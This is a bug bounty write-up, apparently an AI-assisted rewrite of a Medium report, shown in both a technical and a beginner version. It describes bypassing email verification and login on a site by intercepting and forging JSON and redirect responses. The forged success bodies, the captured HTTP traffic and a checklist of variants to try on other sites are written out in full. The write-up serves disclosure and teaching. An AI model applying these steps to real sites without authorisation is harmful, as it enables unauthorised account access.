Skip to content
Access control Write-up Intermediate

A Curious Case From Little To Complete Email Verification Bypass

The email verification and login checks were enforced only by client-side JSON responses, so an attacker could intercept and modify the responses to bypass verification and log in without a valid token. This allowed complete email verification bypass and unauthorised access to accounts.

Megaman Follow

Published on medium.com

Bug Bounty

N0_M3ga_Hacks, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is a site the researcher refers to as yolosite.com, a registration flow that asks for a first name, last name and email address before sending a verification mail. The verification mail contains a link of the following structure:

Text
https://yolosite.com/#/register/confirm/[redacted]

Visiting the link takes the user to a page where further details, including credit card information, are entered to complete registration. The feature therefore combines email verification with a payment step, and the whole flow is driven by JSON responses from the backend.

Setup

The researcher registered accounts through the normal sign-up form and intercepted and modified the JSON responses returned by the application. Two account states matter: a verified account and an account that has not completed verification. No specific tool versions are given in the report.

Finding it

The first observation was that changing the token in the confirmation link produced the message Confirmation link is invalid., which suggested the token was being validated. On closer inspection, however, the validation appeared to live in the JSON response body rather than on the server side.

When the original link was visited, the response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response":{"status":"success","externalID":null,"errors":[]}}

When the token was tampered with by changing the first and last value, the response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response":{"status":"failure","externalID":"[redacted]","errors":[{"code":"1210","message":"Confirmation link is invalid"}]},"userStatus":null}

The researcher initially suspected the failure was because the token was only partially correct, so a completely random token was used instead. The forged link was:

Text
https://yolosite.com/#/register/confirm/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

The response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"response":{"status":"failure","externalID":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","errors":[{"code":"1211","message":"User not associated with this external id"}]},"userStatus":null}

This confirmed that the token was not the deciding factor: the client was reading the JSON body to decide whether to proceed.

Exploitation

Step 1: Forge the confirmation response

The forged link was visited again, and this time the response was intercepted and replaced with:

JSON
{"response":{"status":"success","externalID":null,"errors":[]}}

After forwarding the modified response, the application presented the page for entering credit card details. This showed that the confirmation step could be passed without a valid token.

Step 2: Submit the registration form

The researcher noted that this was not the only endpoint that needed to be bypassed. Attempting to enter credit card details and clicking Complete Registration initiated the following request:

HTTP
POST /rest/services/public/register/full HTTP/1.1Host: yolosite.comConnection: close{"externalId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","locale":"en_IT","fullRegFields":{"card-alias-name-0":"Card-Name","card-numbers-0":"card-number","expiry-month-0":"MONTH","expiry-year-0":"2019","cvc-0":"cvc"}}

The response was:

HTTP
HTTP/1.1 400 Bad RequestContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"status":"error","externalID":"","errors":[{"code":"0000","message":"An internal server error occurred"}]}

At this point it seemed that this was the actual endpoint checking the token. The researcher forged the response again, and the final response looked as follows:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"response":{"status":"success","externalID":null,"errors":[]}}

As soon as this response was forwarded, the login page appeared. Logging in did not work as expected, so the researcher investigated further.

Step 3: Compare verified and unverified login responses

When a verified user tries to sign in, the request is:

HTTP
POST /pkmslogin.form HTTP/1.1Host: yolosite.comConnection: closeContent-Type: application/x-www-form-urlencodedusername=username-here&[redacted]&login-form-type=pwd

The response is:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1770Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=p3p: CP="NON CUR OTPi OUR NOR UNI"Cache-Control: no-cachePragma: no-cacheDate: Sun, 04 Nov 2018 08:36:33 GMTConnection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

With an account that was not verified, the response was:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1811Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=Connection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

Step 4: Forge the login response

The unverified login response was tampered with and replaced with the verified success response:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1770Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=p3p: CP="NON CUR OTPi OUR NOR UNI"Cache-Control: no-cachePragma: no-cacheDate: Sun, 04 Nov 2018 08:36:33 GMTConnection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

As soon as this response was forwarded, the researcher successfully logged in to the account, bypassing the remaining checks.

Root cause

The defence mechanism was based only on JSON responses, and no server-side validation was being done. The defence mechanism was based only on JSON responses, so replacing the body with a success object was enough to move forward. The login response was also tampered with, replacing the unverified response with the verified success response.

Impact

An attacker could bypass email verification completely and log in to an account that had not been verified. The researcher notes that, because verification could be bypassed, it would have been possible to try to sign up using a @yolosite.com email address, but by the time this was realised it was too late. The report does not state whether the registration with a @yolosite.com address was actually attempted or what the result was.

Fix

The report does not describe any fix or remediation. Based on the described behaviour, the server should validate the token and the account state on every request and should not rely on client-side interpretation of JSON responses to decide whether a step succeeded.

Variants to test

  1. Replace a failure JSON body with a success body on any endpoint that returns a status field, and see whether the client proceeds to the next step.
  2. Tamper with the token in a confirmation link and check whether the response body, rather than the HTTP status code, is what changes.
  3. Compare login responses for verified and unverified accounts and try replacing the unverified response with the verified one.
  4. Submit the registration form with a random externalId and observe whether the error is a generic internal server error, which may indicate the real check happens elsewhere.
  5. Look for other endpoints in the same flow that return JSON success objects and test whether they can be forged in the same way.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A website let people create an account by giving a first name, a last name and an email address. The site then sent an email with a link to confirm that the address was real. Clicking the link took the person to a page where they entered more details, including credit card information, to finish signing up.

The researcher found that the site's pages decided whether a step had succeeded by reading a short message from the server (a JSON response) that said success or failure. The server itself was not really checking anything. So by changing that message in the browser's traffic from failure to success, the researcher could get past the email confirmation and even log in to an account that had never been verified.

This kind of problem is called an email verification bypass combined with broken authorization. In everyday terms: imagine a bouncer at a club who does not check your ID but simply asks you "are you on the list?" and believes whatever you say. If you answer "yes", you get in, even if your name is not on the list. Here, the website's own pages were the bouncer, and the server did not check the list.

The setup

The researcher created accounts through the normal sign-up form. To see and change the messages travelling between the browser and the server, they used a tool called an intercepting proxy. Think of it as a mail sorter who opens every letter between you and a company, lets you read it, and lets you rewrite it before it is delivered. In security testing this is standard practice: you sit between your browser and the website and inspect every request and response.

Two account states matter in this story:

  1. A verified account: the person clicked the link in the email and confirmed their address.
  2. An unverified account: the person signed up but never confirmed the email.

The report does not name any specific tool versions.

Finding it

When someone signs up, the site sends an email containing a link like this:

Text
https://yolosite.com/#/register/confirm/[redacted]

Let us break this down:

  • https://yolosite.com/ is the website address.
  • #/register/confirm/ is the part of the page that handles confirmation. The # means the browser handles this part itself, without asking the server for a new page.
  • The long string of letters and numbers at the end is a token. A token is like a claim ticket at a cloakroom: it is a unique string that proves you are the person who was given it. Here it is meant to prove that you received the email.

Visiting the link takes you to a page where you enter further details, including credit card information, to complete registration. So the feature combines email verification with a payment step, and the whole flow is driven by JSON responses from the backend.

JSON (JavaScript Object Notation) is a way of writing data as text so that programs can read it easily. It looks like a shopping list with labels: {"status":"success"} means "the label is status and the value is success". It is not code that runs; it is just structured text.

Backend means the server side: the computers at the company that store accounts and make decisions. The frontend is what you see in your browser.

The first observation was that changing the token in the confirmation link produced the message Confirmation link is invalid. This suggested the token was being checked. On closer inspection, however, the check appeared to live in the JSON response body rather than on the server side.

When the original link was visited, the response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response":{"status":"success","externalID":null,"errors":[]}}

Line by line:

  • HTTP/1.1 200 OK is the server's opening line. 200 is the standard code for "everything went fine".
  • Content-Type: application/json says the body of the message is JSON text.
  • Access-Control-Allow-Origin: * and the other Access-Control-... lines are CORS headers. CORS is a browser rule that controls which other websites are allowed to read responses from this one. The * means "any website". These lines are not the vulnerability here, but they show the server is permissive about who can read its answers.
  • The final part, {"response":{"status":"success","externalID":null,"errors":[]}}, is the JSON body. It says: the response has a status of success, no external ID, and an empty list of errors.

When the token was tampered with by changing the first and last value, the response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With, {"response":{"status":"failure","externalID":"[redacted]","errors":[{"code":"1210","message":"Confirmation link is invalid"}]},"userStatus":null}

Line by line:

  • The opening line is still HTTP/1.1 200 OK. That is important: the server says the request was fine even though the token was wrong. The failure is only described inside the body.
  • The JSON body now says "status":"failure".
  • "externalID" contains the tampered token, echoed back.
  • "errors" contains an entry with code 1210 and the message Confirmation link is invalid.
  • "userStatus":null means there is no user status.

The researcher initially suspected the failure was because the token was only partially correct, so a completely random token was used instead. The forged link was:

Text
https://yolosite.com/#/register/confirm/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

This is the same link with the token replaced by 64 x characters. The response was:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"response":{"status":"failure","externalID":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","errors":[{"code":"1211","message":"User not associated with this external id"}]},"userStatus":null}

Line by line:

  • Connection: close tells the browser to close the connection after this message.
  • Set-Cookie: Cookies here; is where the server would send a cookie. A cookie is a small piece of text the server asks the browser to store and send back on later requests, like a wristband you get at an event so staff recognise you later. The report replaces the actual cookie value with the words Cookies here, so we do not see it.
  • The JSON body says "status":"failure" again, but now the error code is 1211 and the message is User not associated with this external id. In other words: this token does not belong to any user.

This confirmed that the token was not the deciding factor: the client was reading the JSON body to decide whether to proceed. The client here means the code running in the browser. It was looking at the word success or failure in the body, not at whether the server had actually accepted the token.

Exploitation

Step 1: Forge the confirmation response

The forged link was visited again, and this time the response was intercepted and replaced with:

JSON
{"response":{"status":"success","externalID":null,"errors":[]}}

This is the same success body the server sent for a real token. The researcher did not change the request; they changed the answer coming back. After forwarding the modified response, the application presented the page for entering credit card details. This showed that the confirmation step could be passed without a valid token.

Why did this work? Because the page trusted the message. It read the word success and moved on.

Step 2: Submit the registration form

The researcher noted that this was not the only endpoint that needed to be bypassed. An endpoint is a specific address on a server that does one job, like a counter in a large office: one counter for signing up, another for logging in. Attempting to enter credit card details and clicking Complete Registration initiated the following request:

HTTP
POST /rest/services/public/register/full HTTP/1.1Host: yolosite.comConnection: close{"externalId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","locale":"en_IT","fullRegFields":{"card-alias-name-0":"Card-Name","card-numbers-0":"card-number","expiry-month-0":"MONTH","expiry-year-0":"2019","cvc-0":"cvc"}}

Line by line:

  • POST /rest/services/public/register/full HTTP/1.1 means the browser is sending data (POST) to the address /rest/services/public/register/full using version 1.1 of the HTTP protocol. HTTP is the language browsers and servers use to talk.
  • Host: yolosite.com says which website this request is for.
  • Connection: close asks to close the connection afterwards.
  • The JSON body contains externalId, which is the random token from the forged link, locale set to en_IT (Italian locale), and fullRegFields with card details. The card values shown are placeholders such as Card-Name, card-number, MONTH, 2019 and cvc.

The response was:

HTTP
HTTP/1.1 400 Bad RequestContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"status":"error","externalID":"","errors":[{"code":"0000","message":"An internal server error occurred"}]}

Line by line:

  • HTTP/1.1 400 Bad Request is a different status code. 400 means the server did not like the request. This is the first time the server itself says something went wrong at the HTTP level.
  • The JSON body says "status":"error", the externalID is empty, and the error has code 0000 with the message An internal server error occurred.

At this point it seemed that this was the actual endpoint checking the token. The researcher forged the response again, and the final response looked as follows:

HTTP
HTTP/1.1 200 OKContent-Type: application/jsonAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Max-Age: 1000Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUTAccess-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-WithConnection: closeSet-Cookie: Cookies here;{"response":{"status":"success","externalID":null,"errors":[]}}

Line by line:

  • The status line is back to 200 OK.
  • The body is the familiar success object: "status":"success", no external ID, no errors.

As soon as this response was forwarded, the login page appeared. Logging in did not work as expected, so the researcher investigated further. This is a common pattern in testing: one door opens, but the next one is locked, so you look at how the lock works.

Step 3: Compare verified and unverified login responses

When a verified user tries to sign in, the request is:

HTTP
POST /pkmslogin.form HTTP/1.1Host: yolosite.comConnection: closeContent-Type: application/x-www-form-urlencodedusername=username-here&[redacted]&login-form-type=pwd

Line by line:

  • POST /pkmslogin.form HTTP/1.1 sends data to the login address /pkmslogin.form.
  • Content-Type: application/x-www-form-urlencoded says the body is in the classic web form format: pairs of names and values joined by &.
  • username=username-here&[redacted]&login-form-type=pwd is the body: a username, a password and a login type of pwd (password). The actual values are placeholders.

The response is:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1770Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=p3p: CP="NON CUR OTPi OUR NOR UNI"Cache-Control: no-cachePragma: no-cacheDate: Sun, 04 Nov 2018 08:36:33 GMTConnection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

Line by line:

  • HTTP/1.1 302 Moved Temporarily is a redirect. A 302 tells the browser "the thing you want is somewhere else, go there".
  • Content-Length: 1770 says the body is 1770 bytes long.
  • Content-Type: text/html says the body is a web page.
  • Location: ... is the address the browser is told to go to. Inside it, TAM_OP=login_success and ERROR_TEXT=...Login%20successful are signs of success. %20 is how a space is written in a URL.
  • Cache-Control: no-cache and Pragma: no-cache tell the browser not to store this response.
  • Date: Sun, 04 Nov 2018 08:36:33 GMT is when the server sent it.
  • Set-Cookie: Cookies-here; is where the session cookie would be set. The real value is replaced here.
  • The HTML at the end is a small page with a link saying Click here to fetch the resource.

With an account that was not verified, the response was:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1811Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=Connection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

Line by line:

  • It is still a 302 redirect, but the Location now says TAM_OP=help instead of TAM_OP=login_success.
  • The error text is HPDIA0121W ... The requested operation is not valid.
  • Content-Length is 1811 instead of 1770, because the page is slightly different.
  • The HTML link at the end is the same shape as before.

So the difference between a verified and an unverified login was visible in the redirect address and the HTML body, not in a clear "yes or no" from the server.

Step 4: Forge the login response

The unverified login response was tampered with and replaced with the verified success response:

HTTP
HTTP/1.1 302 Moved TemporarilyContent-Length: 1770Content-Type: text/htmlLocation: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=p3p: CP="NON CUR OTPi OUR NOR UNI"Cache-Control: no-cachePragma: no-cacheDate: Sun, 04 Nov 2018 08:36:33 GMTConnection: closeSet-Cookie: Cookies-here;<html><P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.</html>

This is the same success response shown earlier for a verified user. As soon as this response was forwarded, the researcher successfully logged in to the account, bypassing the remaining checks.

In plain terms: the browser was told "login successful" by a message the researcher had written, and it believed it.

Root cause

The defence mechanism was based only on JSON responses, and no server-side validation was being done. The client trusted the status field in the response body to decide whether the confirmation and login steps had succeeded, so replacing the body with a success object was enough to move forward. The same pattern applied to the login endpoint, where the redirect location and HTML body were used to signal success or failure.

Server-side validation means the server itself checks the facts: does this token exist, does it belong to this account, is the account verified? If the server does not check, then anything the browser is told becomes the truth as far as the browser is concerned. This is sometimes called "trusting the client", and it is the same mistake as a shop assistant accepting a handwritten receipt as proof of payment.

Impact

An attacker could bypass email verification completely and log in to an account that had not been verified. The researcher notes that, because verification could be bypassed, it would have been possible to try to sign up using a @yolosite.com email address, but by the time this was realised it was too late. The report does not state whether the registration with a @yolosite.com address was actually attempted or what the result was.

Why would a @yolosite.com address matter? Because it is the company's own domain.

Fix

Based on the described behaviour, the server should validate the token and the account state on every request and should not rely on client-side interpretation of JSON responses to decide whether a step succeeded.

In everyday terms: the bouncer should check the list, not ask the guest whether they are on it.

Variants to test

These are ideas for testing similar sites, written for someone starting out:

  1. Replace a failure JSON body with a success body on any endpoint that returns a status field, and see whether the client proceeds to the next step. You are checking whether the page believes your message instead of the server's.
  2. Tamper with the token in a confirmation link and check whether the response body, rather than the HTTP status code, is what changes. If the status code stays 200 while the body says failure, the server is not really rejecting anything.
  3. Compare login responses for verified and unverified accounts and try replacing the unverified response with the verified one. Look at the Location header and the HTML body, not just the status code.
  4. Submit the registration form with a random externalId and observe whether the error is a generic internal server error, which may indicate the real check happens elsewhere.
  5. Look for other endpoints in the same flow that return JSON success objects and test whether they can be forged in the same way.

Final thoughts

Since the researcher was able to bypass email verification completely, they could have tried to sign up as a @yolosite.com email address, but it was too late.

From the original on medium.com

Glossary

  • API: a set of addresses on a server that programs use to ask for things and send data, like a service counter with specific windows for specific jobs.
  • Backend: the server side of a website, where accounts and decisions live.
  • Client: the program in your browser that shows pages and sends requests.
  • Cookie: a small piece of text a server asks the browser to store and send back later, like a wristband that identifies you.
  • CORS: a browser rule that decides which other websites may read responses from a site.
  • Endpoint: a specific address on a server that performs one job.
  • External ID: in this report, the token value sent along with the registration request.
  • Frontend: the part of a website you see and interact with in the browser.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • Intercepting proxy: a tool that sits between your browser and a website so you can read and change the traffic.
  • JSON: a text format for structured data, made of labels and values.
  • Redirect (302): a server response telling the browser to go to a different address.
  • Request: a message from the browser asking the server to do something.
  • Response: the server's reply to a request.
  • Server-side validation: the server itself checking the facts, such as whether a token is valid.
  • Session: the period during which a site remembers who you are, usually with the help of a cookie.
  • Status code: a three-digit number at the start of a response, such as 200 for OK or 400 for bad request.
  • Token: a unique string used to prove you were given something, like a claim ticket.
  • Verification bypass: getting past a check, such as email confirmation, without actually satisfying it.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.